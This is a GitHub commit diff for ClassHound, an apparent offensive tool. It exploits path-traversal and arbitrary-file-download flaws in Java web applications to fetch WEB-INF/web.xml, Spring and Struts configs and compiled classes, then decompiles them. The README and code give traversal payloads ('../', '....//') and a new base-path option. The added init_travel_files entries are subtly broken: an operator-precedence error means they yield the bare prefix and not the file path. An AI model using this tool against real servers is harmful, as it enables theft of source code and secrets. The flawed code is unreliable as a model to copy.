Skip to content

Commit

Permalink
update
Browse files Browse the repository at this point in the history
1. add -bp options
2. fix save empty file bug
  • Loading branch information
LandGrey committed Dec 12, 2019
1 parent 49d5fc6 commit f519514
Show file tree
Hide file tree
Showing 2 changed files with 27 additions and 18 deletions.
6 changes: 5 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,11 @@ python classhound.py -u "http://127.0.0.1/download.jsp" -dc "##" --post "path=##
# 例如当能够使用 http://127.0.0.1/download.jsp?path=../../../WEB-INF/web.xml 下载文件时:
python classhound.py -u "http://127.0.0.1/download.jsp?path=#1.png#" -tc "../" -cc 3

4. -f --auto
4. -bp
# 当跳目录后发现 /WEB-INF/web.xml 前面还要有前缀路径才能下载任意文件时,可用 -bp 参数指定
# 当网站目录结构是 /opt/tomcat/webapps/cms/WEB-INF/web.xml 时,可视情况修改为 opt/tomcat/webapps/cms/

5. -f --auto
# 如果想顺带下载些其他已知文件, 可将服务器文件的相对路径一行一个写入文件中, 然后用 -f 参数指定文件
# 相对路径的文件下载可能需要不一样数量的遍历字符, 可以启用 -a/--auto 参数,程序会尝试不同数量的遍历字符
# 例如创建文件 download.txt,内如如下:
Expand Down
39 changes: 22 additions & 17 deletions classhound.py
Original file line number Diff line number Diff line change
Expand Up @@ -55,13 +55,16 @@ def change_travel_path(travel_file_path):


def save_file(save_dir, file_name, content):
file_name = file_name.replace('\\', '/').lstrip('/')
dirs = file_name.split('/')[:-1]
cur_dir = os.path.join(save_dir, "/".join(dirs))
if not os.path.exists(cur_dir):
os.makedirs(cur_dir)
with open(os.path.join(cur_dir, file_name.split('/')[-1]), 'wb') as f:
f.write(content)
# if file content is mess, you can play with it
# content = content[4:-4]
if content:
file_name = file_name.replace('\\', '/').lstrip('/')
dirs = file_name.split('/')[:-1]
cur_dir = os.path.join(save_dir, "/".join(dirs))
if not os.path.exists(cur_dir):
os.makedirs(cur_dir)
with open(os.path.join(cur_dir, file_name.split('/')[-1]), 'wb') as f:
f.write(content)


def walk_file_paths(directory):
Expand Down Expand Up @@ -122,7 +125,7 @@ def decompile_and_download_class(class_path):
match = re.findall('import (.*?);', stdout.decode('utf-8'), re.I | re.M | re.S)
if match:
for m in match:
_class_url_path = '/WEB-INF/classes/' + m.strip().replace(".", "/") + '.class'
_class_url_path = base_path + 'WEB-INF/classes/' + m.strip().replace(".", "/") + '.class'
_allow_download = True
for x in do_not_download_classes:
if x in _class_url_path:
Expand Down Expand Up @@ -161,8 +164,8 @@ def parse_xml_get_xml_url(xml_path):
for servlet_param in servlet.find_all('init-param'):
param_value = servlet_param.find('param-value')
if not param_value:
xml_urls.append('/WEB-INF/{}-servlet.xml'.format(servlet_name))
xml_urls.append('/WEB-INF/classes/{}-servlet.xml'.format(servlet_name))
xml_urls.append(base_path + 'WEB-INF/{}-servlet.xml'.format(servlet_name))
xml_urls.append(base_path + 'WEB-INF/classes/{}-servlet.xml'.format(servlet_name))
else:
values.extend(file_path_extract(param_value.text))
# 模糊正则匹配其他情况
Expand Down Expand Up @@ -209,7 +212,7 @@ def disk_path_to_url_dir_path(disk_path):
,,,,, o' \,=./ `o |.===.
/(o o)\ (o o) {}o o{}
ooO--(_)--OooooO--(_)--OooooO--(_)--Ooo
ClassHound v0.3\n
ClassHound v0.4\n
''')
try:
current_dir = os.path.dirname(os.path.join(os.path.abspath(sys.argv[0]))).encode('utf-8').decode()
Expand All @@ -218,7 +221,7 @@ def disk_path_to_url_dir_path(disk_path):
current_dir = os.path.dirname(os.path.abspath(sys.argv[0])).decode('utf-8')
except UnicodeError:
current_dir = "."
exit('[*] Please apply this script in ascii path')
exit('[*] Please play this script in ascii path')

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
Expand All @@ -232,6 +235,7 @@ def disk_path_to_url_dir_path(disk_path):
parser.add_argument('-p', '--post', dest='raw_post_data', default='', help='POST data, file path must surrounded with delimiter char')
parser.add_argument('-f', '--file', dest='url_file', default='', help='specify need download file url path list')
parser.add_argument('-a', '--auto', dest='auto_change', default=False, action='store_true', help='auto detect and change travel char count when use -f options')
parser.add_argument('-bp', '--base-path', dest='base_path', default='/', help='/WEB-INF folder prefix web path, default: "/".\nSuch as: change it to "opt/tomcat/webapps/"')
parser.add_argument('-tc', '--travel-char', dest='travel_char', default='', help='specify travel char like ../')
parser.add_argument('-cc', '--char-count', dest='travel_char_count', default=0, type=int, help='travel char count number')
parser.add_argument('-dc', '--delimiter-char', dest='delimiter_char', default='#', help='Delimiter char that surround file path , default: #')
Expand All @@ -249,6 +253,7 @@ def disk_path_to_url_dir_path(disk_path):
max_count = args.max_count
http_proxy = args.http_proxy
download_path = args.url_file
base_path = args.base_path
travel_char = args.travel_char
http_header = args.http_header
delimiter = args.delimiter_char
Expand Down Expand Up @@ -379,10 +384,10 @@ def disk_path_to_url_dir_path(disk_path):
travel_char = '....//'

init_travel_files = [
'WEB-INF/web.xml',
'WEB-INF/struts-config.xml',
'WEB-INF/applicationContext.xml',
'WEB-INF/classes/applicationContext.xml',
base_path if base_path != "/" else "" + 'WEB-INF/web.xml',
base_path if base_path != "/" else "" + 'WEB-INF/struts-config.xml',
base_path if base_path != "/" else "" + 'WEB-INF/applicationContext.xml',
base_path if base_path != "/" else "" + 'WEB-INF/classes/applicationContext.xml',
]
for travel_file in init_travel_files:
for x in range(1, max_count):
Expand Down Expand Up @@ -439,7 +444,7 @@ def disk_path_to_url_dir_path(disk_path):
if m:
for _m in m:
p = _m[0] if _m[0] else (_m[1] if _m[1] else _m[2])
class_url_path = '/WEB-INF/classes/' + p.replace(".", "/").strip() + '.class'
class_url_path = base_path + 'WEB-INF/classes/' + p.replace(".", "/").strip() + '.class'
allow_download = True
for x in do_not_download_classes:
if x in class_url_path:
Expand Down

0 comments on commit f519514

Please sign in to comment.